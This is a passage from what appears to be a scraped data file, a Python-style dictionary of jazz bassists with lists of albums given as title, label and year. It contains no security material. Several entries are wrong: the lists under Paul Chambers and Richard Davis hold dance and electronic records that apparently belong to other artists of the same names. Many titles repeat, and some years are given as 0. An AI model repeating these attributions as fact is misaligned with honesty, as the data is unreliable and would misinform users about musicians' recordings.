\\'77--Concord Jazz--1978'),'\\\nScott LaFaro':('\\\nSunday At The Village Vanguard--Riverside Records--1961','\\\nWaltz For Debby--Riverside Records--1962','\\\nFor Real!--Contemporary Records--1961','\\\nFree Jazz--Atlantic--1961','\\\nThis Is Pat Moran--Audio Fidelity--1958','\\\nSung Heroes--Sunnyside--1986','\\\nWest Coast Days - Live At The Lighthouse--Fresh Sound Records--1992','\\\nGypsy--ATCO Records--1959','\\\nThe Arrival Of Victor Feldman--Contemporary Records--1958','\\\nLive Date!--Verve Records--1958','\\\nThis Is Pat Moran--Audio Fidelity--1958','\\\nGinza Samba / For All We Know--Fantasy--1958','\\\nCal Tjader-Stan Getz Sextet--Fantasy--1958','\\\nGypsy--ATCO Records--1959','\\\nThe Broadway Bit--Warner Bros. Records--1959','\\\nBooker Little--Time Records (3)--1960','\\\nPortrait In Jazz--Riverside Records--1960','\\\nFor Real!--Contemporary Records--1961','\\\nFree Jazz--Atlantic--1961','\\\nExplorations--Riverside Records--1961','\\\nThe Soul Of Jazz - 1961--Riverside Records--1961','\\\nJazz Abstractions--Atlantic--1961','\\\nOrnette!--Atlantic--1962','\\\nWaltz For Debby--Riverside Records--1962','\\\nLatinsville!--Contemporary Records--1960','\\\nBig Band Mann--VSP--1966','\\\nSunday At The Village Vanguard--Riverside Records--1961','\\\nThe Art Of The Improvisers--Atlantic--1970','\\\nThe Best Of Ornette Coleman--Atlantic--1970','\\\nSpaces--Vanguard Apostolic--1970','\\\nTwins--Atlantic--1971','\\\nPrestige Twofer Giants Volume II--Prestige--1972','\\\nThe Smithsonian Collection Of Classic Jazz--Smithsonian Collection--1973','\\\nBill Evans Live In Tokyo--CBS/Sony--1973','\\\nThe Village Vanguard Sessions--Milestone (4)--1973','\\\nMilestone Twofers--Milestone (4)--1973','\\\nThe Bass--Impulse!--1974'),'\\\nOscar Pettiford':('\\\nJazz Rhythm Records Music Minus One Alto Sax Vol 2--Music Minus One--1951','\\\nOscar Pettiford--Bethlehem Records--1954','\\\nGigi Gryce · Thelonious Monk · Percy Heath · Art Blakey · Horace Silver · Art Farmer · Kenny Clarke · Cecil Payne · Jimmy Cleveland · Oscar Pettiford · Julius Watkins--Signal (3)--1955','\\\nBasically Duke--Bethlehem Records--1955','\\\nJazz South Pacific – Recorded In Concert On Guam--Regent--1956','\\\nVolume 2--Bethlehem Records--1956','\\\nJazz Mainstream--Bethlehem Records--1957','\\\nThe Essen Jazz Festival All Stars--Debut Records (3)--1960','\\\nLast Recordings By The Late Great Bassist--Jazzland--1962','\\\nOscar Pettiford Sextet--Vogue Records--1954','\\\nMy Little Cello--Debut Records (3)--1960','\\\nThe Oscar Pettiford Memorial Album--Prestige--0','\\\nVolume 2--Period Records--1957','\\\nBlue Brothers--Black Lion Records--1973','\\\nThe Legendary Oscar Pettiford--Black Lion Records--1975','\\\nLucky Thompson Featuring Oscar Pettiford - Vol.1--ABC-Paramount--1956','\\\nSalute To The Flute--Epic--1957','\\\nDiscoveries--Savoy Jazz--1987','\\\nSessions 1958-60--Delta (18)--1988','\\\nMontmartre Blues --Black Lion Records--1989','\\\nScandinavian Days--Fresh Sound Records--1991','\\\nDeep Passion--GRP--1994'),'\\\nCharles Mingus':('\\\nIntroducing Paul Bley--Debut Records--1954','\\\nJazz Collaborations, Vol. I--Debut Records--1955','\\\nJazzical Moods, Vol. 1--Period Records--1955','\\\nThe Jazz Experiments Of Charlie Mingus--Bethlehem Records--1956','\\\nMingus At The Bohemia--Debut Records--1956','\\\nJazz Composers Workshop--Savoy Records--1956','\\\nMove!--Savoy Records--1956','\\\nThe Clown--Atlantic--1957','\\\nA Modern Jazz Symposium Of Music And Poetry--Bethlehem Records--1957','\\\nEast Coasting--Bethlehem Records--1957','\\\nThe Clown--Atlantic--1957','\\\nMingus Three--Jubilee--1957','\\\nEvolution--Prestige--1957','\\\nFour Trombones--Debut Records--1957','\\\nJazz At Massey Hall Volume 2--Debut Records (3)--0','\\\nJazz At Massey Hall Volume 1--Debut Records (3)--1958','\\\nJazz At Massey Hall Volume 4--Debut Records (3)--1958','\\\nJazz At Massey Hall Volume 3--Debut Records (3)--1958','\\\nJazz Gallery: Charles Mingus--Philips--1959','\\\nJazz At Massey Hall--Debut Records--1956','\\\nJazz Portraits--United Artists Records--1959','\\\nMingus Ah Um--Columbia--1959','\\\nBlues & Roots--Atlantic--1960','\\\nPresents Charles Mingus--Candid--1960','\\\nWednesday Night Prayer Meeting--Atlantic--1960','\\\nPithecanthropus Erectus--Atlantic--1960','\\\nMingus--Candid--1961','\\\nNewport Rebels--Candid--1961','\\\nPre-Bird--Mercury--1961','\\\nFour Trombones--Fantasy--1962','\\\nMoney Jungle--United Artists Jazz--1962','\\\nTown Hall Concert--United Artists Jazz--1962','\\\nOh Yeah--Atlantic--1962','\\\nTijuana Moods--RCA Victor--1962','\\\nScenes In The City / East Coasting--Bethlehem Records--1962','\\\nThad Jones--Debut Records--1956','\\\nJazz Makers--Mercury--1963','\\\nMingus Mingus Mingus Mingus Mingus--Impulse!--1964','\\\nPithecanthropus Erectus--Atlantic--1956','\\\nThe Black Saint And The Sinner Lady--Impulse!--1963'),'\\\nPaul Chambers':('\\\nDisposable Disco Dubs--Untidy Trax--1998','\\\nDisposable Disco Dubs 2--Untidy Trax--1999','\\\nDisposable Disco Dubs 3--Untidy Trax--2001','\\\nThe Colours EP 2--Untidy Trax--2001','\\\nDisposable Disco Dubs 4--Untidy Trax--2003','\\\nSing A Song--Nervous Records--1997','\\\nNervous Breakdown--Nutrition--1998','\\\nLararari...(Canzone Felice)--Mantra Vibes--1997','\\\nThe New Millenium--Real Groove--1998','\\\nOne More--Hypocrite Records--2000','\\\nTill Tears Do Us Part--Suck Me Plasma--2000','\\\nCan You Dig It?--Tommy Boy Silver Label--2001','\\\nWizards Of The Sonic / Promised Land--Tidy--2005','\\\nThe Dawn--Tidy Trax--2000','\\\nI Surrender--SBK One--1990','\\\nPure Energy--SPG Music Productions Ltd.--1993','\\\nOne More--Hypocrite Records--2000','\\\nCan You Dig It?--Tommy Boy Silver Label--2001','\\\nSay Yeah / Dance To The Rhythm--Tidy Trax--2001','\\\nSlammin\\'--Tidy White--2002','\\\nWho Wins--Tidy--2006','\\\nMusic Factory Mastermix - Issue 117--Music Factory--1996','\\\nThe Quakes--Nervous Records (2)--1988','\\\nThe Beginning...--BB Productions Ltd.--1990','\\\nAfrika--SBK Records--1990','\\\nBetter World--SBK Records--1990','\\\nI Surrender--SBK One--1990','\\\nSimply Poetry--Interscope Records--1992','\\\nPure Energy--SPG Music Productions Ltd.--1993','\\\nMistakes--Tidy Trax--1997','\\\nSing A Song--Nervous Records--1997','\\\nTotal Science 3--Mecca Recordings--1997'),'\\\nRichard Davis':('\\\nSafety--Punkt Music--2002','\\\nMeaning & In The Air - The Remixes--Punkt Music--2003','\\\nUntitled--240 Volts--2003','\\\nDetails--Kitty-Yo--2005','\\\nCommon Sense--Enchanté Premier--2005','\\\nAlways Something Better--Poker Flat Recordings--2006','\\\nCold Hard Facts--Was Not Was--2007','\\\nWhat You Are--Safer--2010','\\\nFound Out--Noir Music--2012','\\\nSafety Net--A Clean Cut--2017','\\\nBar 1 | Autumn.04--Shayan Music--2004','\\\nForgive & Forget--Sub Static--2004','\\\nFabric 20--Fabric (2)--2005','\\\nSnowblind--Studio !K7--2005','\\\nFundacion NYC--Global Underground (3)--2005','\\\nSmile And Receive--Studio !K7--2007','\\\nSchlank & Tief--Fragments (2)--2003','\\\nSmile And Receive--Studio !K7--2007','\\\nMore Love Now--Dial--2008','\\\nMore Love Now--Dial--2008','\\\nLoops From The Bergerie--Studio !K7--2004','\\\nSpeak Easy--Studio !K7--2004','\\\nTeam Kitty-Yo--Kitty-Yo--2004','\\\nForgive & Forget--Sub Static--2004','\\\nFabric 20--Fabric (2)--2005','\\\nSnowblind--Studio !K7--2005','\\\nFundacion NYC--Global Underground (3)--2005','\\\nThe Last Resort--Poker Flat Recordings--2006','\\\nAlways Something Better--Poker Flat Recordings--2006','\\\nThe Trentemøller Chronicles--Audiomatique Recordings--2007','\\\nSome Other Country--Studio !K7--2007','\\\nNeotrance Essentials--no label--2006','\\\nGood Idea--Dessous Recordings--2007'),'\\\nRon Carter':('\\\nAll Members--Jazzland--1961','\\\nWhere?--New Jazz--1962','\\\nUntitled--Ictus Records (2)--1967','\\\nRobert Scheer\\'s A Night At Santa Rita--Flying Dutchman--1969','\\\nUptown Conversation--Embryo Records--1970','\\\nCharles Tolliver And His All Stars--Polydor--1971','\\\nBlues Farm--CTI Records--1973','\\\nAll Blues--CTI Records--1974','\\\nIn Concert, Volume 2--CTI Records--1974','\\\nAnything Goes--Kudu--1975','\\\nSpanish Blue--CTI Records--1975','\\\nPure Desmond--CTI Records--1975','\\\nAnything Goes--Kudu--1975','\\\nRecorded Live At Jimmy\\'s--RCA--1975','\\\nMagic--Prestige--1975','\\\nYellow & Green--CTI Records--1976','\\\nPastels--Milestone (4)--1976','\\\nBaretta\\'s Theme (Keep Your Eye On The Sparrow)--Kudu--1976','\\\nA Song For You--Milestone (4)--1978','\\\nThird Plane--JVC--1978','\\\nCrossings--Galaxy--1978','\\\nMilestone Jazzstars In Concert--Milestone (4)--1979','\\\nPeg Leg--Milestone (4)--1978','\\\n1 + 3--JVC--1979','\\\nFlic Ou Voyou (Bande Originale Du Film De Georges Lautner)--Cobra--1979','\\\nParade--Milestone (4)--1979','\\\nNew York Slick--Milestone (4)--1980','\\\nPick \\'Em--Milestone (4)--1980','\\\nPonder\\'n--51 West--1981','\\\nMirror, Mirror--MPS Records--1980','\\\nEmpire Jazz--RSO--1980','\\\nPiccolo--Milestone (4)--1977','\\\nLe Choix Des Armes (Bande Original Du Film)--General Music--1981','\\\nHerbie Hancock Trio With Ron Carter + Tony Williams--CBS/Sony--1981','\\\nSuper Strings--Milestone (4)--1981','\\\nPatrão--Milestone (4)--1981','\\\n900 Shares Of The Blues--Groove Merchant--1974','\\\nOff The Top--Elektra Musician--1982','\\\nCarnaval--Galaxy--1983','\\\nEtudes--Elektra Musician--1983','\\\nThe Master Trio--Baybridge Records--1983','\\\nBlues In The Closet--Baybridge Records--1984','\\\nThe All American Trio--Baystate--1984','\\\nVoyage--Harmonic Records--1984','\\\nThis Bud\\'s For You...--Muse Records--1985'),'\\\nRufus Reid':('\\\nListen To The Dawn--Muse Records--1983','\\\nBobby Enriquez Plays Bossa Nova--GNP Crescendo--1984','\\\nA La Carte--Muse Records--1985','\\\nFrankly Speaking--Concord Jazz--1985','\\\nJoe Meets The Rhythm Section--Timeless Records (3)--1987','\\\nAcoustic Romance--Sons Of Sound Recorded Music--2003','\\\nBenny Golson Quartet--LRC Ltd.--1990','\\\nMoon Over The World--Bellaphon--1993','\\\nThe Avatar Sessions: The Music Of Tim Hagans--Fuzzy Music--2009','\\\nOut Front--Motéma--2011','\\\nThose Quiet Days--Sunnyside--1991','\\\nSeven Minds--Sunnyside--1985','\\\nPerpetual Stroll--Theresa Records--1981','\\\nPassing Thoughts--Concord Jazz--1992','\\\nPerpetual Stroll--Theresa Records--1981','\\\nCharlie Parker Memorial Concert--Chess--1970','\\\nProof--Proof Productions--1970','\\\nThe Chase!--Prestige--1971','\\\nSings The Blues--Atlantic--1972','\\\nInstant Death--Atlantic--1972','\\\nExcursions--Atlantic--1973','\\\nMirage--Black Jazz Records--1973','\\\nA Letter To Myself--Brunswick--1973','\\\nThe II-V7-I Progression--JA Records--1974','\\\nIs It In--Atlantic--1974','\\\nMovin\\' On--JA Records--1974'),'\\\nEddie Gomez':('\\\nA Simple Matter Of Conviction--Verve Records--1966','\\\nLive At The Festival--Enja Records--1973','\\\nIntuition--Fantasy--1975','\\\nMontreux III--Fantasy--1976','\\\nDown Stretch--Trio Records--1976','\\\nOutlaws--Enja Records--1977','\\\nNew Directions--ECM Records--1978','\\\nThe Fourteen Bar Blues--Enja Records--1978','\\\nBatik--ECM Records--1978','\\\nThe Free Will--Enja Records--1980','\\\nEnergy--Capitol Records--1971','\\\nBennie Wallace Plays Monk--Enja Records--1981','\\\nRestless Dreams--Chief Records (13)--0','\\\nSpecial Identity--Antilles--1982','\\\nModern Times--Elektra Musician--1984','\\\nGomez--Interface (3)--1984','\\\nAs If ...--Interface (3)--1985','\\\nThe Sidewinder--Paddle Wheel--1986','\\\nLive At Pit Inn--Paddle Wheel--1986','\\\nMusic Of Bill Evans--Landmark Records (3)--1986','\\\nBegin Sweet World--RCA Victor Red Seal--1986','\\\nMezgo--Epic/Sony--1986','\\\nDiscovery--Columbia--1986','\\\nAmorphism--A Touch--1986','\\\nTribute To John Coltrane - Live Under The Sky--Columbia--1987','\\\nMy Favorite Things - Live In Tokyo --Paddle Wheel--1987','\\\nThe Bennie Wallace Trio & Chick Corea--Enja Records--1982','\\\nDouble Exposure --Epic/Sony--1988','\\\nPower Play--Columbia--1988','\\\nStreet Smart--Epic--1989','\\\nYou Must Believe In Spring--Warner Bros. Records--1981','\\\nSno\\' Peas--Bellaphon--1991'),'\\\nMonk Montgomery':('\\\nMontgomeryland--Pacific Jazz--1960','\\\nDo Nothing \\'Til You Hear From Me--Riverside Records--1963','\\\nA Place In The Sun--Chisa Records, Inc.--1969','\\\nIt\\'s Never Too Late--Chisa Records--1969','\\\nBass Odyssey--Chisa Records--1971','\\\nReality--Philadelphia International Records--1974','\\\nGroove Brothers--Milestone (4)--1979','\\\nMontgomeryland Volume One--Pacific Jazz--0','\\\nLionel Hampton--Vogue Productions--1953','\\\nWork Of Art--Prestige--1953','\\\nLionel Hampton--Vogue Productions--1953','\\\nLionel Hampton--Vogue Productions--1953','\\\nMau Mau--Prestige--1954','\\\nAlways / September In The Rain--Jazz Selection--1956','\\\nThe Art Farmer Septet--Prestige--1956','\\\nThe King And I--World Pacific Records--1957','\\\nJazz Showcase Introducing The Mastersounds--World Pacific Records--1957','\\\nKismet--World Pacific Records--1958','\\\nFlower Drum Song--World Pacific Records--1958','\\\nAnd 5 Others--World Pacific Records--1958','\\\nA Memorable Session--Disques Vogue--1958','\\\nA Good Git-Together--World Pacific Records--1959','\\\nBlowin\\' The Blues--World Pacific Records--1959','\\\nBallads & Blues--World Pacific Records--1959','\\\nIn Concert--World Pacific Records--1959','\\\nMore Drums On Fire!--World Pacific Records--0','\\\nThe Mastersounds Play Compositions By Horace Silver--World Pacific Records--1960','\\\nThe Montgomery Brothers--Pacific Jazz--1961','\\\nGeorge Shearing And The Montgomery Brothers--JAZZLAND--1961','\\\nA Date With The Mastersounds--Fantasy--1962','\\\nLois Ann / Stranger In Paradise--JAZZLAND--1961','\\\nPerfect Percussion: The 44 Instruments Of Roy Harte And Milt Holland--World Pacific Records--1961','\\\nSwinging with the Mastersounds--Fantasy--1960','\\\nThe Montgomery Brothers In Canada--Fantasy--1961','\\\nGroove Yard--Riverside Records--1961','\\\nMontgomeryland--Pacific Jazz--1960','\\\nDo Nothing \\'Til You Hear From Me--Riverside Records--1963','\\\nGeorge Shearing And The Montgomery Brothers--Riverside Records--1964','\\\nStretchin\\' Out--Pacific Jazz--1964','\\\nThe Green Leaves Of Summer--Contemporary Records--1964','\\\nThe Thing--Pacific Jazz--1965','\\\nEasy Groove--Pacific Jazz--1966'),'\\\nChuck Rainey':('\\\nScreaming Mothers--Mainstream Records--1974','\\\nBorn Again--no label--1981','\\\nCoolin\\' \\'N Groovin\\' (A Night At On-Air)--Lexington--1993','\\\nI\\'d Rather Die / Heavenly Angel--Sue Records Inc.--1969','\\\nThe Chuck Rainey Coalition--Skye Records--1972','\\\nThe Happy Spirit / Oneness--A&M Records--1977','\\\nLittle Drummer Boy / Sunshine--Chess--0','\\\nRed Soul--Prestige--1966','\\\nLive At Small\\'s Paradise--ATCO Records--1966','\\\nPots & Pans--ATCO Records--1966','\\\nGroove Merchant--Verve Records--1967','\\\nSweet Soul Music--RCA Camden--1967','\\\nFormidable Rhythm And Blues (Vol. 1)--Atlantic--1967','\\\nTim Rose--CBS--1967','\\\nBruce Mackay--ORO (3)--1967','\\\nDoes The Sun Really Shine On The Moon?--Skye Records--1968','\\\nI\\'ll Be Anything For You--A&M Records--1968','\\\nOnce Upon A Dream--Atlantic--1968','\\\nWindmills Of My Mind--Skye Records--1968','\\\nDon Sebesky & The Jazz Rock Syndrome--Verve Records--1968','\\\nThe Great Byrd--Columbia--1968','\\\nThink--Verve Records--1968','\\\nFor Mature Adults Only--Mosann Enterprises--1968','\\\nThe Distant Galaxy--Verve Records--1968','\\\nA New Dimension--Verve Records--1968','\\\nJourney Thru An Electric Tube--Solid State Records (2)--1968','\\\nSolar Heat--Skye Records--1968','\\\nFats Is Back--Reprise Records--1968','\\\nFeeling Blue--Milestone (4)--1968','\\\nGoodies--Verve Records--1968','\\\nAvalanche--Warner Bros. - Seven Arts Records--1968','\\\nThe Insect Trust--Capitol Records--1968','\\\nPlug Me In--Atlantic--1968','\\\nSoul Machine--A&M Records--1968','\\\nBigger & Better--Atlantic--1968','\\\nThe Little Giant--Atlantic--1969','\\\nGot It Together / One Soft Night--Capitol Records--1969','\\\nLaws\\' Cause--Atlantic--1969','\\\nI\\'d Rather Die / Heavenly Angel--Sue Records Inc.--1969','\\\nNo Explanations--ATCO Records--1969'),'\\\nCarol Kaye':('\\\nAnitra\\'s Twist--GNP Crescendo--1962','\\\nPicking Up On The E-String--Groove Attack Productions--1995','\\\nBetter Days--Gwyn--1971','\\\nDeuces, T\\'s, Roadsters & Drums--RCA Victor--1963','\\\n...Presenting The Fabulous Ronettes Featuring Veronica--Philles Records--1964','\\\nFrom Sea To Ski--Mercury--1964','\\\nBack To Back--Philles Records--1965','\\\nThe Golden Boy Instrumental Album--Capitol Records--1965','\\\nVenice Blue--Capitol Records--1965','\\\nQuincy\\'s Got A Brand New Bag--Mercury--1965','\\\nThe We Three Trio--Mainstream Records--1965','\\\nGirl Don\\'t You Know--Capitol Records--1965','\\\nGoodies--Capitol Records--1965','\\\nRiver Deep - Mountain High / Save The Last Dance For Me--London Records--1969','\\\nFreak Out!--Verve Records--1966','\\\nSugar--Reprise Records--1966','\\\nGotta\\' Find My Roogalator / Lowdown Funky Blues--Penthouse--1966','\\\nChér--Imperial--1966','\\\nRiver Deep - Mountain High / I\\'ll Keep You Happy--Philles Records--1966','\\\nThe Honeysuckle Breeze--Impulse!--1967','\\\nA Spoonful Of Jazz--World Pacific Records--1967','\\\nWind, Sky And Diamonds--Impulse!--1967','\\\nForever Changes--Elektra--1967','\\\nThe Cake--Decca--1967','\\\nLight My Fire--Impulse!--1967','\\\nLook At Me--MGM Records--1968','\\\nSweet Soul Shakin\\'--Minit--1968','\\\nPatterns Of Reality--Philips--1968','\\\nSong Of Innocence--Capitol Records--1968','\\\nLivin\\' It Up!--Verve Records--1968','\\\nBill Plummer And The Cosmic Brotherhood--Impulse!--1968','\\\nKetty Lester--Records By Pete--1969','\\\nThe New Don Ellis Band Goes Underground--Columbia--1969','\\\nNancy--Reprise Records--1969','\\\nReelin\\' With The Feelin\\'--Prestige--1969','\\\nWith A Little Help From My Friends--A&M Records--1969','\\\nWhen I Die--Buddah Records--1969','\\\nAfrican Blue (The Exotic Rhythms Of Les Baxter Orchestra And Chorus)--GNP Crescendo--1969','\\\nLet It Be--World Pacific Jazz--1970','\\\nSpecial Circumstances--Capitol Records--1970','\\\nDave Antrell--Amaret--1970','\\\nRaindrops Keep Fallin\\' On My Head--Capitol Records--1970'),'\\\nMiroslav Vitous':('\\\nGreen Line--Nivico--1970','\\\nInfinite Search--Embryo Records--1970','\\\nPurple--CBS/Sony--1970','\\\nMajesty Music--Arista--1976','\\\nMagical Shepherd--Warner Bros. Records--1976','\\\nNew York City--Warner Bros. Records--1976','\\\nMiroslav--Arista--1977','\\\nGuardian Angels--Trio Records--1979','\\\nTerje Rypdal / Miroslav Vitous / Jack DeJohnette--ECM Records--1979','\\\nFirst Meeting--ECM Records--1980','\\\nTo Be Continued--ECM Records--1981','\\\nTrio Music--ECM Records--1982','\\\nJourney\\'s End--ECM Records--1983','\\\nDream--Eastworld--1984','\\\n& Special Guests--in-akustik--1986','\\\nTrio Music, Live In Europe--ECM Records--1986','\\\nEmergence--ECM Records--1986','\\\nQuartet - Dedicated To Bill Evans And Scott La Faro--Jazzpoint Records--1987','\\\nQuatre--Gala Records (4)--1989','\\\nAlan Vitouš Featuring Miroslav Vitouš--Panton--1989','\\\nOceans In The Sky--Owl Records (4)--1990','\\\nMinotaurus--Panton--1991','\\\nStar--ECM Records--1991','\\\nAtmos--ECM Records--1993','\\\nCreative Music Studio - Woodstock Jazz Festival 2--Douglas Music--1997','\\\nWoodstock Jazz Festival--Gravity Limited--1997','\\\nCreative Music Studio - Woodstock Jazz Festival 1--Douglas Music--1997','\\\nLiving--Universal--2001','\\\nTrio, Live In Concert--TDK (3)--2001','\\\nUniversal Syncopations--ECM Records--2003','\\\nTakes On Pasolini--C.A.M. Jazz--2005','\\\nUniversal Syncopations II--ECM Records--2007','\\\nMoravian Romance (Live At JazzFest Brno 2018)--Venus Records (5)--2018','\\\nSupergroup--Warner Bros. Records--1976'),'\\\nGeorge Mraz':('\\\n1 X 1--Toho Records--1974','\\\nDrifting--Enja Records--1974','\\\nHill Country Suite--Enja Records--1974','\\\nStephane Grappelli Meets The Rhythm Section--Black Lion Records--1975','\\\nPorgy & Bess--Trio Records--1976','\\\nAlone Together--Three Blind Mice--1977','\\\nIn Out And Around--Timeless Records (3)--1978','\\\nDowntown Meeting ( Two Swedes In New York)--Phontastic--1979','\\\nBy Myself--L+R Records--1979','\\\nLionel Hampton Presents: Woody Herman--no label--1977','\\\nMusic\\'s The Only Thing On My Mind--Progressive Records (2)--1981','\\\nRomanesque--TRIO RECORDS--1982','\\\nStar Highs--Criss Cross Jazz--1982','\\\nClassic Jazz Duets--Stash Records Inc.--1982','\\\nQuest--Trio Records--1982','\\\nWistaria--Criss Cross jazz--1986','\\\nSpring Is Here--CBS/Sony--1987','\\\nIn The Mood For Swing--Musicmasters--1988','\\\nJazz Poet--Timeless Records (3)--1989','\\\nHere\\'s To My Lady--Chesky Records--1989','\\\nSome Other Time (A Tribute To Chet Baker)--Triloka Records--1990','\\\nUpon Reflection - The Music Of Thad Jones--Verve Records--1993','\\\nFarewell--Musidisc--1993','\\\nVertical Reality--Musidisc--1994','\\\nHues Of Blues--Concord Jazz--1995','\\\nThe News--Jazzline--1995','\\\nJazz--Milestone (4)--1996','\\\nFlowers For Lady Day--Evidence (5)--1996','\\\nFlamingo--Dreyfus Jazz--1996','\\\nNewklear Music - The Songs Of Sonny Rollins--Milestone (4)--1997','\\\nGrand Slam--Telarc--2000','\\\nMorava--Milestone (4)--2001'),'\\\nStanley Clarke':('\\\nChildren Of Forever--Polydor--1973','\\\nUnder Fire--Flying Dutchman--1973','\\\nStanley Clarke--Nemperor Records--1974','\\\nVulcan Princess / Lopsy Lu--Nemperor Records--1974','\\\nJazz--Mainstream Records--1974','\\\nSilly Putty--Nemperor Records--1975','\\\nJourney To Love--Nemperor Records--1975','\\\nSchool Days--Nemperor Records--1976','\\\nHot Fun--Nemperor Records--1976','\\\nModern Man--Nemperor Records--1978','\\\nSlow Dance--Epic--1978','\\\nBest Of--Nemperor Records--1978','\\\nMore Hot Fun / Slow Dance--Epic--1978','\\\nI Wanna Play For You--Nemperor Records--1979','\\\nJamaican Boy--Nemperor Records--1979','\\\nJust A Feeling Part 1 / Part 2--Epic--1979','\\\nTogether Again--Epic--1979','\\\nYou / Me Together--Epic--1980','\\\nThe Best Of Return To Forever--CBS--1980','\\\nRocks, Pebbles And Sand--Epic--1980','\\\nWe Supply--Epic--1980','\\\nI Just Want To Love You / Finding My Way--Epic--1981','\\\nSweet Baby / Never Judge A Cover By Its Book--Epic--1981','\\\nLet Me Know You--Epic--1982','\\\nEchoes Of An Era 2 (The Concert)--Elektra Musician--1982','\\\nThe Griffith Park Collection--Elektra Musician--1982','\\\nWho Can It Be Now?--CBS--1981','\\\nYou Are The One For Me--Epic--1982','\\\nThe Best Of Stanley Clarke--Epic--1982','\\\nStraight To The Top--Epic--1982','\\\nEchoes Of An Era--Elektra--1982','\\\nThe Griffith Park Collection 2 In Concert--Elektra Musician--1983','\\\nTime Exposure--Epic--1984','\\\nFuture / Spacerunner--Epic--1984','\\\nAre You Ready?--Epic--1984','\\\nHeaven Sent You--Epic--1984','\\\nHideaway--Epic--1986','\\\nI\\'m Here To Stay--Epic--1986','\\\nListen To The Beat Of Your Heart / Where Do We Go--Epic--1986','\\\nShieldstone--Bellaphon--1987'),'\\\nBob Cranshaw':('\\\nThe Great Live Sessions--ABC Impulse!--1978','\\\nThe Last Blues Album Volume 1--Groove Merchant--1974','\\\nIntroducing Bobby Pierce--Cobblestone--1972','\\\nThe Harem--Musicmasters--1991','\\\nReggae Music--Revolver Records (5)--0','\\\nMax Roach + 4 On The Chicago Scene--Emarcy--1958','\\\nMake Everybody Happy--Vee Jay Records--1959','\\\nRelaxin\\' With Sandy Mosse--Argo (6)--1959','\\\nWalter Perkins\\' MJT+3..--Vee Jay Records--1959','\\\nTouff Assignment--Argo (6)--1959','\\\nThe Big Soul-Band--Riverside Records--1960','\\\nThe Young Lions--Vee Jay Records--1960','\\\nBreezing--Jazzland--0','\\\nSummit Meeting--Joy Records (3)--1960','\\\nThe Incredible Kai Winding Trombones--Impulse!--1961','\\\nMJT+3--Vee Jay Records--1961','\\\nTake Twelve--Jazzland--1962','\\\nJunior\\'s Blues--Riverside Records--1962','\\\nImpromptu--Mercury--1962','\\\nExplosion! The Sound Of Slide Hampton--Atlantic--1962','\\\nThe Bridge--RCA Victor--1962','\\\nChasin\\' The Bird--Riverside Records--1962','\\\nWhat\\'s New?--RCA Victor--1962','\\\nJingle Bell Jazz--Columbia--1962','\\\nSings Lover Man And Other Billie Holiday Classics--Columbia--1962','\\\nHush!--Jazz Line (2)--1962','\\\nWho\\'s Who In The Swinging Sixties--Columbia--1962','\\\nComin\\' On Up!--Riverside Records--1962','\\\nLittle Johnny C--Blue Note--1963','\\\nEvolution--Blue Note--1963','\\\nLive At Newport--Impulse!--1964','\\\nConfessin\\' The Blues--Riverside Records--1963','\\\nOur Man In Jazz--RCA Victor--1963','\\\nBetter Than Anything--AVA--1963','\\\nLittle Big Horn!--Riverside Records--1963','\\\nSonny Meets Hawk!--RCA Victor--1963','\\\nPlays The Compositions Of Charlie Mingus--Workshop Jazz--1964','\\\nMovin\\' Wes--Verve Records--1964','\\\nThe Village Caller!--Riverside Records--0','\\\nThe Sidewinder--Blue Note--1964','\\\nLeonard Feather\\'s Encyclopedia Of Jazz/Jazz Of The \\'60\\'s Vol. #1: Giants Of The Saxophones--Vee Jay Records--1964','\\\nBlue Flames--Prestige--1964'),'\\\nJimmy Garrison':('\\\nImpressions Of New York--Impulse!--1968','\\\nBlues-ette--Savoy Records--1959','\\\nBallads--Impulse!--1963','\\\nGolden Moments--Muse Records--1982','\\\nI\\'ll Remember--Muse Records--1984','\\\nDuke Ellington & John Coltrane--Impulse!--1963','\\\nThe Inner Man--Vee Jay Records--1977','\\\nThe Ultimate--Blue Note--1968','\\\nBlues For Dracula--Riverside Records--1958','\\\nBlues For Dracula--Riverside Records--1958','\\\nBlues-ette--Savoy Records--1959','\\\nDrums Around The World--Riverside Records--1959','\\\nPhilly Joe\\'s Beat--Atlantic--1960','\\\nThe Message--Jaro International--1960','\\\nJazz Contemporary--Time Records (3)--1960','\\\nShowcase--Riverside Records--1960','\\\nSwing, Swang, Swingin\\'--Blue Note--1960','\\\nSpeak Low--Jazztime--1961','\\\nThe Jazz Life!--Candid--1961','\\\nPlenty Of Horn--Old Town Records--1961','\\\nThe Magnificent Trombone Of Curtis Fuller--Epic--0','\\\nJerome Kern Showboat--Time Records (3)--1961','\\\nThe Tenor Stylings Of Bill Barron--Savoy Records--1961','\\\nAfrica / Brass--Impulse!--1961','\\\nFurther Definitions--Impulse!--1962','\\\nOrnette On Tenor--Atlantic--1962','\\\nColtrane--Impulse!--1962','\\\nImages Of Curtis Fuller--Savoy Records--1962','\\\nJohn Coltrane And Johnny Hartman--Impulse!--1963','\\\nDuke Ellington & John Coltrane--Impulse!--1963','\\\nImpressions--Impulse!--1963','\\\nImagination--Savoy Records--0','\\\nMy One And Only Love / Lush Life--Impulse!--1963','\\\nBallads--Impulse!--1963','\\\nToday And Tomorrow--Impulse!--1964','\\\nLive At Birdland--Impulse!--1964','\\\nThe Definitive Jazz Scene Volume 2--Impulse!--1964','\\\nThe Definitive Jazz Scene Volume 1--Impulse!--1964','\\\nIllumination!--Impulse!--1964','\\\nCrescent--Impulse!--1964','\\\nA Love Supreme--Impulse!--1965','\\\nAscension (Edition I)--Impulse!--1965','\\\nThe New Wave In Jazz--Impulse!--1966','\\\nThe Definitive Jazz Scene Volume 3--Impulse!--1965'),'\\\nPercy Heath':('\\\nThe Modern Jazz Quartet--Prestige--1953','\\\nMilt Jackson With John Lewis, Percy Heath, Kenny Clarke, Lou Donaldson And The Thelonious Monk Quintet--Blue Note--1955','\\\nGigi Gryce · Thelonious Monk · Percy Heath · Art Blakey · Horace Silver · Art Farmer · Kenny Clarke · Cecil Payne · Jimmy Cleveland · Oscar Pettiford · Julius Watkins--Signal (3)--1955','\\\nGrand Encounter: 2 Degrees East - 3 Degrees West--Pacific Jazz--1956','\\\nJazz Sur Seine--Philips--1958','\\\nThe Modern Jazz Sextet--Norgran Records--1956','\\\nThelonious Monk / Sonny Rollins--Prestige--1956','\\\nThe Bop Session--Sonet--1975','\\\nMarchin\\' On!--Strata-East--1976','\\\nFirst Place Again Playboy--Warner Bros. Records--1960','\\\nLos Grandes Del Jazz 5--Sarpe--1980','\\\nVolume 2--Blue Note--1956','\\\nTrio / Quintet--Signal 